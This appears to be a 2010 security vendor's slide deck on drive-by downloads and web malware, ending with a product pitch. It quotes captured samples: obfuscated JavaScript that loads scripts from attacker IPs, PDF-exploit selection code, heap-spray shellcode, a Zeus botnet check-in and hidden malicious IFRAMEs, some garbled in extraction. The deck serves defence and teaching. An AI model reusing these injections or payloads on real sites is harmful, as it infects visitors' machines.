

Drive By Downloads How to Avoid Getting a Cap Popped in Your App



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Web-Based Malware

Motivation / Recent Events:

Zeus botnet via drive-by-download

China attacks against Google (and others)

Malvertising Attacks (NYT, FarmTown/Facebook,

Yahoo, Fox, Google, DrudgeReport)

Mitigation:

Prevention, Detection, Containment, and

Recovery



Drive-by-Downloads

- 1) Inject legitimate web page with malicious code (e.g., JavaScript, IFRAME, etc) OR direct user to infected web page (e.g. fake antivirus or phishing).
- 2) Invoke client-side vulnerability (e.g., IE zero-day, PDF exploit, etc) OR use social engineering
- 3) Deliver shellcode to take control
- 4) Send "downloader"
- 5) Deliver malware of attackers choice





Zeus Botnet

- Spread via drive-by-downloads and phishing
- First identified July 2007
- Compromised over 74K FTP accounts in June 2009
- Affected: Bank of America, NASA, Monster, ABC, Oracle, Cisco, Amazon, and BusinessWeek.
- Estimated size: 3.6M machines



Ex: Phishing and WBM to spread 0-day







The Challenge for Websites: Many Ways to Get Infected

Web 2.0/ external content

- Mash-ups
- Widgets
- External images
- User generated content (HTML, images, links, exe, documents)
- Third-party ads

Passwords compromised


- FTP credentials
- SSH credentials
- Web server credentials



Software vulnerabilities

- SQL injection
- XSS
- PHP file include
- Unpatched Software (blog, CMS, shopping cart, web server, PHP, Perl)

Infrastructure vulnerabilities



• Network vulnerabilities



Malware Attacks Hurt Enterprises

Brand and customer loss






Traffic and revenue loss

Data Theft/ Compliance Liability











Step 1: Inject Javascript

```
unescape('%2F/%2E.|%2E|%3Cdiv%20~s&t#%79le~=#di`%73
  ~%70~%6C%61~%79%3A!%6Eo`%6E%65%3E~\ndo%63um$%65%6E
   !%74%2Ew&rit e(!%22%3C/$%74&%65 | %78#%74%61!r%65
   |%61%3E"!%29;v&%61r%20@%69$%2C%5F%2C%61%3D%5B&"
  ~\$32\$318\$2E(\$39\$33~\$2E(\$32\$\$30\$32(\.\$361\$22,\$22(\]7\$38(\.\$31\$31\~0.\$\$31\&7\$35\$2E\$21\$\$22(\];_!\$3D1;!\$69
   f%28&d%6F%63~%75#m%65@n|t.c%6Fo~ki%65`%2E$%6D@a%74
  $%63&%68~(/%5C@%62h%67%66`%74&%3D&%31~%2F)#=%3D$%6E
  #%75~1`1)$%66#o%72`(%69=@%30~%3B$%69%3C!%32@%3B~i
   | %2B%2B%29$%64%6F&cu%6De#%6E|%74%2Ew$%72%69%74&
  e(%220%3C~%73!%63#%72i~p!%74!%3Ei0%66`(#_|%29!%64o
  ~863u@m`86586E|874.877@r869874865(`85C@"@83C873$863
|872~869$87087482086986483D85F82282B869!+"|_820
  s8720c=82F82F|822+#8610[|i&85D!82B82282F]c&p82F83
  E%3C%5C`%5C`/@scr@%69%70%74%3E$%5C~"!%29%3C%5C`%2
  F%73%63rip$%74%3E|"#)%3B\n`%2F`/`%3C`%2F%64%69@%76~%3E').replace(/\$|\||~|`|\!|\&|@|#/g,"");
```



Step 1: Inject Javascript

```
//...<div style=display:none>
document.write("</textarea>");var i,_,a
  =["218.93.202.61","78.110.175.21"]\overline{;}=1;i
  f(document.cookie.match(/\bhgft=1/)==null
  )for(i=0;i<2;i++)document.write("<script>i
  f(_)document.write(\"<script id= "+i+"
   src=//"+a[i]+"/cp/><\\/script>\")<\
  /script>");
//</div>
which produces...
  <script>if(_)document.write("<script id= 0</pre>
   src=\frac{7}{218.93.202.61/cp/}<\frac{1}{script}")<
  /script>
<script>if(_)document.write("<script id= 1</pre>
   src=//78.110.175.21/cp/><\/script>")<
  /script>
```

Step 1: Inject Javascript

- Sources in malicious javascript from a compromised IP!
- Infects user's machine silently



Step 2: Invoke client-side vuln (following used by Zeus)

CVE-2008-2992

Description: Stack-based buffer overflow in Adobe Acrobat and Reader 8.1.2 and earlier allows remote attackers to execute arbitrary code via a PDF file that calls the util.printf JavaScript function with a crafted format string argument, a related issue to CVE-2008-1104

CVE-2007-5659

Description: Multiple buffer overflows in Adobe Reader and Acrobat 8.1.1 and earlier allow remote attackers to execute arbitrary code via a PDF file with long arguments to unspecified JavaScript methods.

CVE-2009-0927

Description: Stack-based buffer overflow in Adobe Reader and Adobe Acrobat 9 before 9.1, 8 before 8.1.3, and 7 before 7.1.1 allows remote attackers to execute arbitrary code via a crafted argument to the getIcon method of a Collab object.

Step 2: Ex. Fingerprint PDF Reader

```
function pdf_start(){var
version=app.viewerVersion.toString();version=version.
replace(/\D/g,'');var version_array=new
Array(version.charAt(0),version.charAt(1),version.cha
rAt(2));if((version_array[0]==8)&&(version_array[1]==
0)||(version_array[1]==1&&version_array[2]DA3)){util_
printf();}
if((version_array[0]DA8)||(version_array[0]==8&&version_array[1]DA2&&version_array[2]DA2)){collab_email();}
}
if((version_array[0]DA9)||(version_array[0]==9&&version_array[1]DA1)){collab_geticon();}
```



Step 3: Deliver Shellcode (via JavaScript Heap Spray)

%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09E
B%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4F
EB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u5
6F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%u
F238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%
u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E
%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78
B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u68
50%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5
093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u
2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%
uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u7474%u6161
%u7461%u7474%u722E%u2F75%u6F6C%u6461%u702E%u7068%u653F%u323



Step 4: Send 'Downloader'

Example: 2k8.exe



Virustotal is a **service that analyzes suspicious files** and facilitates the quick detection of viruses, worms, trojans, and all kinds of malware detected by antivirus engines. <u>More information...</u>

File 2k8.exe received on 2010.02.18 01:39:05 (UTC)

Current status: finished

Result: 23/41 (56.10%)

@ Compact			Print results 🗐
Antivirus	Version	Last Update	Result
a-squared	4.5.0.50	2010.02.17	Trojan-Dropper.Agent!IK
AhnLab-V3	5.0.0.2	2010.02.17	Win-Trojan/Downloader.8704.ZB
AntiVir	8.2.1.170	2010.02.17	-
Antiy-AVL	2.0.3.7	2010.02.17	-
Authentium	5.2.0.5	2010.02.18	W32/Trojan2.IIFW
Avast	4.8.1351.0	2010.02.17	Win32:Trojan-gen
AVG	9.0.0.730	2010.02.18	Generic13.BNQH
BitDefender	7.2	2010.02.18	Trojan.Downloader.Obitel.C



Step 5: Join a botnet: e.g. Zeus

```
Tollow TCP Stream
-Stream Content
GET /new/controller.php?action=bot&entity_list=&first=1&rnd=981633&uid=1&quid=952595176
HTTP/1.1
Host: 74.54.86.233
Connection: close
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 15 Apr 2010 02:03:20 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: PHP/5.1.6
Version: 1
Content-Length: 131072
Entity-Info: 1259351490:123904:1;1265464510:7168:1;
Rnd: 982198
Magic-Number: 512|1|
209:199:45:3:227:10:161:248:232:254:13:95:206:17:123:144:116:153:243:155:213:22:14:47:12:14:
 _1.{....../L.....y..\9iu!hb.6s.....j....q..s.....4.....0kyA.\.$x...*.s...2t
+[].E...K...H.....D......q......v.t!
C&B.M..|.M.|...z..sn..y.l&..D......L}..UXg7U.L.6.s290~..!=.....gl....M...
$....p.,..va..Q.
..J..g....f...9.9.q.._...k..u....J'.....fo....~.
p...)...d....NJ.Oc..mxjsJ.yv...BJ.l.zPH.
```



Zeus Botnet + Targeted Phishing

IFRAME / gate4ads.info

Infection Details

MD5: cdc7f46229a8abfcad40538bfe08f1bd

Infection Type: IFRAME

Description: A malicious IFRAME can source in content from web

pages that attempt to fingerprint and exploit a browser vulnerability or client/OS vulnerability to cause a drive-by-download. Such IFRAMEs are

typically invisible to users.

Code Length: 52 bytes

Code Sample:

```
<iframe frameborder=0 src='http://gate4ads.info/t/
'>
```

Botnet propagation+ Targeted Phishing:

- 1. http://internetbanking.gad.de/banking/
- 2. http://hsbc.co.uk
- 3. http://www.mybank.alliance -leicester.co.uk
- 4. http://www.citibank.de

What next?

In addition to joining a botnet....

Hook processes to log keystrokes

Send out spam emails

Install fake anti-virus



Example old attack

<script language=javascript><!-- Yahoo! Counter starts</pre> eval(unescape('%2F/%2E.|%2E^@|%3Cdiv%20~s&t#%79le~=#di`%73~%70~%6 C%61~%79%3A!%6Eo`%6E%65%3E~\ndo%63um\$%65%6E!%74%2Ew&rit|e(! %22%3C/\$%74&%65|%78#%74%61!r%65|%61%3E"!%29;v&%61r%20@%69\$ %2C%5F%2C%61%3D%5B&"~%32%318%2E@%39%33~%2E|%32\$%30%32|. %361%22,%22|7%38|.%31%31~0.#%31&7`%35%2E#21#%22]|; !%3D1;!%69f% 28&d%6F%63~%75#m%65@n|t.c%6Fo~ki%65`%2E\$%6D@a%74\$%63&%68~(/ %5C@%62h%67%66`%74&%3D&%31~%2F)#=%3D\$%6E#%75~1`1)\$%66#o%7 2\(\%69=\@\%30\circ\%3B\\$\%69\%3C!\%32\@\%3B\circ\ipsi2B\%2B\%29\\$\%64\%6F\&cu\%6De #%6E|%74%2Ew\$%72%69%74&e(%22@%3C~%73!%63#%72i~p!%74!%3Ei@ %66`(#_|%29!%64o~%63u@m`%65%6E|%74.%77@r%69%74%65(`%5C@"@% 3C%73\$%63|%72~%69\$%70%74%20%69%64%3D%5F%22%2B%69!+"_%20s %72@c=%2F%2F|%22+#%61@[|i&%5D!%2B%22%2F`c&p%2F%3E%3C%5C` %5C\@scr@%69%70%74%3E\$%5C~"!%29%3C%5C\%2F%73%63rip\$%74%3 $E'''' = 3B \cdot n^3 \cdot 2F' \cdot 3C^3 \cdot 2F' \cdot 64\% \cdot 69@\% \cdot 76 - \%3E'$.replace($(\s|\||-|^|\!|\&|@|\#/g,"$ "));var yahoo_counter=1; <!-- counter end --></script>



Evolution: Multi-DOM Node Injection

<script>document.write('<iframe
src=\"+unescape(document.getElementById('f3
7z').innerHTML.replace(/[\+!*^#@\$]/g,""))+'\'
width=0 height=0></iframe>');



Malvertising

What is malvertising?

Malvertising = Malicious advertising

Method to inject malicious content into a web page via "structural vulnerability"

Malvertiser options:

- 1) compromise existing advertiser
- 2) sign up as new advertiser



Malvertising Stats (c/o Dasient)

- Approx 1.3 million malvertisements served per day
- 41% Fake A/V, 59% Drive-by
- Avg lifetime = 7.3 days
- 1.96x more likely on weekends (Fri/Sat/Sun)



Fake A/V





Fake A/V





Malvertising: Example URL Trace

On legitimate page:

<iframe


src="http://<anonymized>/iframe?<anonymized>==,,http%3A%2F%2Fb.lp.c om%2Fbanner.php%3Fid%3Ditk4ig%26search%3D%5Bterms%5D%26ip%3D%5Bip%5D%26ua%3D%5Bua%5D%26style%3D2%26size%3D160x600,Z%3D160x600%26s%3D908567%26_salt%3D1379943278%26B%3D10%26r%3D0,303483-a945-45ce-b5e4-3047375bde" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" >

http://<anonymized>/iframe?<anonymized>==,,http%3A%2F%2Fb.lp.com%2Fbanner.php%3Fid%3Ditk4ig%26search%3D%5Bterms%5D%26ip%3D%5Bip%5D%26ua%3D%5Bua%5D%26style%3D2%26size%3D160x600,Z%3D160x600%26s%3D908567%26_salt%3D1379943278%26B%3D10%26r%3D0,303483-a945-45ce-b5e4-3047375bde

www.pawntra.com/vzdmapportzhlmottfaoo/ www.ptazh.com/hpqpmld/in.php www.ptazh.com/hpqpmld/directory/terms.pdf



Web-Based Malware





Web Based Malware

IFRAME / google-banner.info

Infection Details

MD5: fa06e95b28c95441d6c1e237c387fb42

Infection Type: IFRAME

Description: A malicious IFRAME can source in content from web

pages that attempt to fingerprint and exploit a browser vulnerability or client/OS vulnerability to cause a drive-by-download. Such IFRAMEs are

typically invisible to users.

Code Length: 87 bytes

Code Sample:

<iframe src=http://google-banner.info/ts/out.php?s
id=1 width=0 height=0 frameborder=0>

Infection Library Home




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


Problem: How to Provides the Complete Lifecycle of Malware Protection for Web Sites?





Problem: How to Provides the Complete Lifecycle of Malware Protection for Web Sites?





Why is protecting web sites from drive-bys hard?

Need to bring "lifecycle" of protection to the web

Need to "root cause" what code on the page caused the problem

Need to be able to parse page in real time and strip out infection. (Could be coming from anywhere—file, DB, etc)

Need to do so with high performance



thejumpbeat.com/



Blacklisted on:







Quick Scan Results

- 1 infected page found so far
- 1 shown below

Dasient WAM can help:

- · Get help in removing these infections
- · Get an in-depth, FULL Scan and identify all infected pages
- · Frequent malware scans of your
- · Immediate alerts of malware activity

Learn More

Expand each URL below to see the known or suspected malicious code on the page:

☐ http://thejumpbeat.com/

<script

language='JavaScript'>document.write(unescape('\x3C\x69\x66\x72\x61\x6D\x65\x20\x





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Detection


• Goal: Extract "root cause" of malcode



- Detection
 - Behavioral Content Extraction (active scripts)
 - Lineage computation
 - Features / Signals Analysis



Mod_antimalware Architecture



Mod_antimalware Implementation

Apache module (IIS also). Output filter.

Two versions: standard & lite (open-source)

Configuration Directives:


BlacklistRedirectUrlPrefix /index.php
QuarantinePath /index.php /html/body/p/iframe

Restart-free Reconfiguration (via Shared Memory) + Persistence



Mod_antimalware Implementation


Authentication




Quarantining Verification



Without Mod_Antimalware



With Mod_Antimalware



* - No time lag between Discover, Diagnose and Contain with Auto-Containment enabled





Future Work

(open-source projects available)

Virtual Host Support

Certificate-based mutual authentication

Automatic deployment of quarantining directives



Where to learn more

Dasient Home Page / Blog / Twitter:

```
www.dasient.com
blog.dasient.com
twitter.com/dasient
```

- Neil's Home Page: www.neildaswani.com
- Stanford Security Certification Program: http://bit.ly/90zR1y



Where to learn more

Foundations of Security:
What Every Programmer To Know
by Neil Daswani, Christoph Kern, and
Anita Kesavan (ISBN 1590597842)



Book web site: learnsecurity.com/ntk

Free slides at: code.google.com/edu/security



Dasient

- Developed the world's first Web Anti-Malware Solution to protect businesses from web-based malware attacks.
- Founded by engineers and product managers from Google (security, web server, App Engine teams)
- Solid financing: same investors that backed or led VeriSign, 3Com, Citrix, XenSource, Twitter
- Featured in major news outlets:






Appendix



Building the World's Repository of Known Malware Attacks





In Summary

- Web Malware is a large and growing problem
- Web Malware attacks are highly visible and result in major brand, reputation and customer losses
- Existing technologies do not address this problem
- Dasient is the the only one to provide a comprehensive solution
 - With unique, differentiated technology
 - With a world-class team and investors



Existing Solutions Cannot Address Threat

| Addresses |
|-----------|


✓ Partially addresses


X Does not address

| Vectors of web malware attack | Traditional anti-virus | Web
gateway | Network
VA | Web app
VA | Network
firewall | Web app
firewall | D Dasient |
|-------------------------------|------------------------|----------------|---|---------------|---------------------|---------------------|-----------|
| Network | × | × | \checkmark | × | V | × | V |
| Web application | × | × | × | \checkmark | × | \checkmark | V |
| Compromised passwords | × | × | × | × | × | × | V |
| Widgets/3rd-party JavaScript | × | × | × | × | × | × | V |
| User generated content | × | × | × | \checkmark | × | \checkmark | V |
| Advertisements | × | × | × | × | × | × | V |
| External images | × | × | × | × | × | × | V |
| | Client side for F | • | VA, FW may mitigate attacks that exploit
known vulnerabilities | | | t exploit | ii |




Malware Risk Assessment








Monitoring








SafeSite Seal







Infection Library

Infection Library

Dasient's malware infection library catalogs web-based malware from across the Internet. Check this page for information about the latest threats.

Infections Cataloged to Date:

110,766

This Week's Top Infections


Top malware infections for the past week.

| Rank | Name | Туре | Discovery Date | | |
|------|----------------------|--------|----------------|--|--|
| 1. | mysterio | IFRAME | 2010-02-21 | | |
| 2. | afonya123 | IFRAME | 2010-03-14 | | |
| 3. | hippocounter | JS | 2010-03-12 | | |
| 4. | darktech | JS | 2010-03-13 | | |
| 5. | glazurit | JS | 2010-03-12 | | |
| 6. | feedzilla | IFRAME | 2010-03-15 | | |
| 7. | million-one | IFRAME | 2009-11-29 | | |
| 8. | internetcountercheck | IFRAME | 2010-03-15 | | |
| 9. | zakaz-it | JS | 2010-03-12 | | |
| 10. | popunder | JS | 2010-03-03 | | |
| 11. | countrtds | IFRAME | 2010-02-24 | | |
| 12. | denisen.com | JS | 2010-03-11 | | |
| 13. | medquest | IFRAME | 2009-10-29 | | |
| 14. | wowtribes | IFRAME | 2010-02-10 | | |
| 15. | freesearchclub | IFRAME | 2010-03-05 | | |
| 16. | pumpidss | IFRAME | 2010-03-16 | | |
| 17. | freehostia | JS | 2010-03-09 | | |
| 18. | 4analytics | IFRAME | 2010-01-23 | | |
| 19. | tradeservise | IFRAME | 2009-11-15 | | |
| 20. | pecsa.com | JS | 2010-03-06 | | |
| | | | | | |



Infection Library Growth

Number of cataloged infections for the week



Latest Tweets

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- "IFRAME/afonya123 http://bit.ly/9M74Fh" about 13 hours ago
- "JS/turclubplushiha http://bit.ly/dnDCe9" 5 days ago
- "IFRAME/ihrhrhrhereo -- http://bit.ly /c5tEDX" 7 days ago
- "JS/news9health http://bit.ly
- "JS/b-source -- http://bit.ly/9J5sWB"
 8 days ago

